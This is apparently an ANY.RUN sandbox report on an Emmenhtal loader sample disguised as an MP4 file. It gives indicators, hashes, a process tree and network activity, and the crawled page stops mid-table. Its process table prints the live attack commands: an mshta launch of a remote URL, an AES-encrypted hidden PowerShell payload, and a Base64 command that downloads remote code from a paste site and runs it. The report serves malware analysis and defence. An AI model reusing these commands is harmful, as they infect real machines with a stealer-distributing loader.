download:

/MARBI.mp4

Full analysis: https://app.any.run/tasks/14a048b0-7831-409d-83af-5cd1d1010764
Verdict: Malicious activity
Threats:

First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments.

Malware Trends Tracker     >>>
Analysis date: December 14, 2024, 00:39:10
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
emmenhtal
loader
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (65536), with no line terminators
MD5:

E2FE6D222C33579954D5B13FBFB38F8F

SHA1:

F744370A7EE2CA2AF1C1942F256DB908543638FF

SHA256:

74F22344728037B80B1B49340E3BCD3ABD5A9ABC89A36169ED59D9C674DA49F2

SSDEEP:

6144:RamDsYr+XyVVVpVGVtV6V0VxVJVCVwVLVK:Rgs+XyVVVpVGVtV6V0VxVJVCVwVLVK

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6904)

    • EMMENHTAL loader has been detected

      • powershell.exe (PID: 6904)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 6332)
      • powershell.exe (PID: 6904)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6904)

    • Executing a file with an untrusted certificate

      • VCDDaemon.exe (PID: 6272)

  • SUSPICIOUS

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 6332)

    • Executes script without checking the security policy

      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 7040)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 6332)
      • powershell.exe (PID: 6904)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 6332)
      • powershell.exe (PID: 6904)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 7040)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 6904)

    • Base64-obfuscated command line is found

      • powershell.exe (PID: 6904)

    • Application launched itself

      • powershell.exe (PID: 6904)

    • BASE64 encoded PowerShell command has been detected

      • powershell.exe (PID: 6904)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 188)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 188)
      • powershell.exe (PID: 7040)

    • Creates new GUID (POWERSHELL)

      • powershell.exe (PID: 7040)

  • INFO

    • Checks proxy server information

      • mshta.exe (PID: 6332)
      • powershell.exe (PID: 7040)

    • The process uses the downloaded file

      • mshta.exe (PID: 6332)
      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 7040)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6332)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6904)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6904)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 7040)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6904)

    • Checks supported languages

      • csc.exe (PID: 188)
      • cvtres.exe (PID: 3080)
      • VCDDaemon.exe (PID: 6272)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 188)

    • Create files in a temporary directory

      • csc.exe (PID: 188)
      • cvtres.exe (PID: 3080)

    • Disables trace logs

      • powershell.exe (PID: 7040)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 7040)

    • The executable file from the user directory is run by the Powershell process

      • VCDDaemon.exe (PID: 6272)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
137
Monitored processes
10
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs mshta.exe #EMMENHTAL powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs csc.exe cvtres.exe no specs vcddaemon.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
188"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\zcunmwkt.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
3080C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES81A7.tmp" "c:\Users\admin\AppData\Local\Temp\CSC56A06528D37C4735B35AA3C1F030B37A.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\vcruntime140_1_clr0400.dll
5092\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6004"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" mshta https://yxyz.zyxy.org/MARBI.mp4?u=a3a8cdc1-6175-42ba-93f5-f973673611f0C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6272"C:\Users\admin\AppData\Local\Temp\79469cf7-a8d1-4395-8238-9e56795dcdf2\VCDDaemon.exe" C:\Users\admin\AppData\Local\Temp\79469cf7-a8d1-4395-8238-9e56795dcdf2\VCDDaemon.exe—powershell.exe
User:
admin
Company:
Elaborate Bytes AG
Integrity Level:
MEDIUM
Description:
Virtual CloneDrive Daemon
Exit code:
0
Version:
5, 4, 5, 1
Modules
Images
c:\users\admin\appdata\local\temp\79469cf7-a8d1-4395-8238-9e56795dcdf2\vcddaemon.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
6332"C:\WINDOWS\system32\mshta.exe" https://yxyz.zyxy.org/MARBI.mp4?u=a3a8cdc1-6175-42ba-93f5-f973673611f0C:\Windows\System32\mshta.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
6904"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function WXndL($cIxW){return -split ($cIxW -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$Ggxu = WXndL('7A5B64CCD96D57D64EFE4A812D2BC4BDE9AE1B1E7F65468F80EA3D5B60B7D7C15F2443A3E6237EAB1F9F3E91A5D835EB18A448CE892FC625BA5CB4E7734FA0B152E164A9AE08D0FEF9B18C700BA2C123C96722C862D347993D0AA1AF4AEEBDD9B33579FD0C0E3E8F4ED828B8EBE67830131A567BC4410ED3DE3DB182881AB06E5D1206E78F5AB5BC320CEB0CD1230E202D819C71580B2958CC5C0E8D1B8BD3370ED4F7231F1F5798BCD1F65460270B2E1E6ED59863C8B5F03F81A685BAD5E7B10E0FB9D1E708A9E5C024FA30DDC882FC492E0DF958455665B085A89C33E2271C0460170B1A544FCCC02AAD22554D5904FEDB87E26616ADC6815B78E3F211ECE66EE7D5818C58FD2367560D21420D5A870A96BF6813F16918FD2CAE995E81E5D5EEE764267ADB4E5F453DAC47D2AA762258E397C75CFF7333F5692FC5E25513BAC939EC2D35D580E47B773762AFA92B8C33B29E596DD3C52FB4B99790BC72803AD41F0A8088B6CBED15134D7A3795F91350D8363992E47BC33998786B02F2BC54DEADA79DA25CDD4E8456CDE732FF3D1BD51FFB619BBF4745E1D5B394630DE4C65145A4F40D54FC2FDFFF60DAC2370A34BE793B19A62E7BFB4C17185C1DC5324F37FFB32F313CB1BD87D5ED80FDE6998A2FA6EAE031759049B99236C74EBE0FCAA0366DFBD6D5203BB793793C30DD6C7711F139487A16F956DED2456E89DA6E8075E848518861F83E12FE6B6D9418FC30B86423F75566F6B84368C093B9C427A827CCA5508786A5C0C9C4FDC8098CF6F6387EF1B6779E7520FFA6CB54F1831F4AA87E12F048C0CF6F7626832EEACA8F18970723839BC8DF8E4A95B0792580CB979CFC7127742BFAC8575A87620516BE0330CEEEC026AE6DEF88079288ADA091993D6A1E4095B56E7A4972D51CC3305B770FFD659D6DF1A16842FAB38AB77C79C33863A3DDD3492894F183BE23A2F13E9B123C61AAA62EA17F6E370D5F5455BDCBE40447C979E2071A5E1C73DAB66505D5097B0CE259E3740A4D336C5D9D478B4BDD16372BC7EDFE1881DEA74E5B9CE7264F939FC71C1A404155682C546391908E072FABB77AFA55EF85CF8D463AF296CB5A97F75A04C27BB522CBD6647D3486CE6F1255A20C9F533CBB8E63861054920A4CAC251BCE2877D09D44209DF14F219EFB4C83461ED25DD05A3920BE2B123C394CC75C22C37A1CBE663656DBBC5E092E0B0019D2990501F5747EEBCB04B628410E9A300AEF287CFF0E6891F2F376C686F5FA861C85F88D563CE6DA2BAF185CC7C432FBC4291B50D6C71EC3AF86F793050E7DA9386849A66D23F884A8EBB084B1E52AFD97FC48ED50A9E6127344548B3E1D3FE46A9B700E23523933F2658A2E11359A7801DCFA20518A8C8ECFB897185694E264D854CE8307694F52B05B1F77A162CF1DD6266ACF5A7558C4494FF2E5B813EA6AA2F10A626FA53624CAEFB65B0BEBCCBCE907FC29AFF64D665F48576317019CB117E486DB9344CB12B5A4C8C99244F69A2C044F0C2B1E2C015323E6F2E9963937F86A2F610B470A787592B51B4A8A0AC1BEBCFBA6BDBBAE601BE25E9697ED1F1F6620B93F5E571C3E1A4F0E8C47093BF22DA12E6490B3AC878564D340B19F5614B1B063BD182E6D649D69AFD32FB57DDA451BB8764142FB0F42BE6E0189467BC1CB105D5FB522273E3782FDAA9E79D531A3BB879EA59043A20FED1EB60716386B9AAB98DC3EE64A1E470DA50DAC0026141747D5C0EED0044EC0D0915C02328F86F0BB7D373FB02861150AB1351E5702E10845E364532DF7DA550E8FADD43BC553C286B9362C8D94A1B01CBEED6A0696A644B4B1C4C07D01BE9FFFFE5E695FE16EEBAF8905BD570BE4B36D0F1C07D860553FBE42A1F44FEBF0A667E85D3544FE91FF701BE78DE167BB6758BB19538D1418D9B1403CFBD5C98DC579BAB71C1BA2BFB6A2ED52BC640E9E45881734D627572BBB24767BF9105E290AED4FD0AD07E069C341D94CD9D253482474A2AFEACE895331A6A7C2344244D9883CB83DB04E20F24E807A0C42FAD54148764C3B647F7B86743F03E946F8ABAA4037DF00724040C58C639B64617CEC513964C0AEB7450990964F332CA73B69AE563F357EFE71A45ADB76F5F1F74B9EA094EDB014AF7DE3832D006B489635D35933F45D8722789F646F6B34118D96044BF40BB9C6D5C235CC72225C1E2FF06D17FFCF3119AC497D69763C1EA4752D9DF918E3F7BC1F5DA270F722684C1062428E1B4B4DFAC9D4B8A3AA2FED312CDC55749F56329AABB058B493B229AFE6188C2CD6E5EF7D4615BAC6C376F0A1C60BE569EDE1D7D229C0A409E716C9881B8ED8A6AF7DFF8E51394FE00530F124BF25F72F1BB0C40D8756D4DC53C99C7706F76566458303AD17ABA13977CBB9D9E8E0D6A23C3AC29863BA5C05EC614C2DC13F1D86D3E8B6E32547054893B928DAF467A0E285FEB70CD8521F803FA7DCB6E68597E4F10DC19975F6A9FA3BB73D000E25D904399788A042CCB2A8ACEBC94D9F7176B6C42A8ADF53E078B0DB3D1DB4FA018C20200519D0C6BDAD8C667BC081BB6E98837F869A01FCB4F5BFA3FF6B9DA59A6CC6F14874D12DA9C94A924E23E1C9A2F10B24B2C808A191CAEF430B6BCCDB8ECC67C81EBDF1946F84922DD6237AD44AA75DAE5B417CBC7F1935089D115B32E7BEA92467DF4B34887940BE275A826DCBE8FBCD8572CF31DFF6137DA4FA652F60A4C96E8EE7084DF2015478E3BD67EDD0BDFB00AF09D7DE181E5AA043DE6F0FC38EB1345B172BB996F129E450352658040763C3FD33D898F576ED092EBE78EB3CE7A76AC530782DAFA0D77E713A4D141695047421A84E93C5C6879D829FA96C6E0E217D62FECC4DD0FB16426652883165B9360C91E805AD040FAF4EA2E2740FA5E9E6F3AE24428D754B4AB2A539E552C98664EEC4BE0178F55FEA933EF0A6B79A49D0F87E95E22DDD03EA3EDFBFAABE60356A7A00DA80A4B13179CF6AD7A4055AAFC41FD0B8B3D8EFA93BC1117E123BD77B17F73F8C6E2EE3D01BFDBEEC94A9522C0A1A5E63506CC7F53BB9BC8DF54090B9989982A1686806E7CBC8FFCDD27577A949E1959B8D7B4B07DD342D475CFBCCE589EECF4466070B9CA53B749253301F99A3C0084ABDFB98EB91E40D1B32895AAE86DCA9CA7B851F00477324B25F71DE93C8B9BB13C56A76F42A26ED97C0915187E6F5B6FC54C40843167185BE51622CE24F901B16B435C2DDA0A5401210B6984C5C3BE6C2335BE875BFAA261EB865AD3D047FBD55B975D9733284ABA3143900958E64193E0A4FAEB858C56D772D7108BA4829F9ECAB503E0C6BF8A807447723CA7C4417C128182FE0DC0B420E8B7C1B18A137C48E31AC0E4E723CF849010F8A2937C1D119B207B22A30AB798DB13ACF4BD7E3FEC18AE6693BBD9FFA6017F2BB4A8BCDE923FAD4066B7438E54189066A0E5BE7FD3EA4AD53AE465432AA738EF4A7176ED78829C803418AD7B3FFDF34DA80F24901748099068BAD20F0B6C75D5CBFAE57169CFA3A63A30790041DACF0733B7A61EA68B6DB4BAA3832C2FD159B1181AA974048F90B196471D825E638D56773F684475EB8211E807A21E574D6A5F63D923A169C4621973867E9B1FC18CC72C11E65C8077634918704FBDF878CAD8411014CA1319BCC88017DC5D930D43F0A3AB7E96D711475123876D8DF4F97924CAB0F392C26647152892055A197E9E15E9ADC078BFDF053C973F4F43CF80CC2846AC337DB1CDF4C600FB6B7F44919C555861CEBAD623302738419EF1F8C12A52E4B356B75E6B79DEBB7E9967E592F3D5F9BBEFEA63B88F6545FE25D9BE8AAF6640FC7F9A623282BD4A790F5BF18A8BE05A6D7860997549B97DA3E886EC6FF35A01AF07E844664A44EF19C5476FA04B41688491C9F8396B3D8BC34EF0AE26A77236FE6A64AEC24F73831D893CCC31663593FE27BE686C8BA');$LZbV=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((WXndL('61597869676545424D6F537659656151')),[byte[]]::new(16)).TransformFinalBlock($Ggxu,0,$Ggxu.Length)); & $LZbV.Substring(0,3) $LZbV.Substring(305)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
6912\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7040"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUAZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
7048\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
16 476
Read events
16 473
Write events
3
Delete events
0

Modification events

(PID) Process:(6332) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6332) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6332) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
4
Suspicious files
12
Text files
10
Unknown types
0

Dropped files

PID
Process
Filename
Type
6004powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1352d6.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
6004powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_33chwiju.123.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6004powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\URCKKBT2XM5JJHQ9LBEE.tempbinary
MD5:DDB57F0A562A5EE8C72B8566D365CCA0
SHA256:AAD78887B2006F4E1E31000D123A298A1BDBAD2FF8439FD26EC042714C653CC8
6004powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:DDB57F0A562A5EE8C72B8566D365CCA0
SHA256:AAD78887B2006F4E1E31000D123A298A1BDBAD2FF8439FD26EC042714C653CC8
6904powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jf0brkcy.wke.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7040powershell.exeC:\Users\admin\AppData\Local\Temp\zcunmwkt.cmdlinetext
MD5:DB1CBD8EFB04B1EAF5EDC1085CA81EB5
SHA256:7C62A5919145B9805D72E46CCA195190C985EAAB3D25FDC0B97A12FC96901F4B
6904powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_23byosdz.kvj.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7040powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_443kvweg.kci.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6332mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12der
MD5:67E486B2F148A3FCA863728242B6273E
SHA256:FACAF1C3A4BF232ABCE19A2D534E495B0D3ADC7DBE3797D336249AA6F70ADCFB
188csc.exeC:\Users\admin\AppData\Local\Temp\zcunmwkt.dllexecutable
MD5:5DC0D8037B4CF365CFE674613BB1DF33
SHA256:5CC48FCBB6875AF26A330317E2FE199E53769EB1C0D89EAB5A5B2E8539B8CEA3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
39
DNS requests
25
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
23.53.40.176:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6332
mshta.exe
GET
200
142.250.185.195:80
http://c.pki.goog/r/gsr1.crl
unknown
—
—
whitelisted
6332
mshta.exe
GET
200
142.250.185.195:80
http://c.pki.goog/r/r4.crl
unknown
—
—
whitelisted
6176
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
6176
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
3848
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
3848
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1488
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
51.124.78.146:443
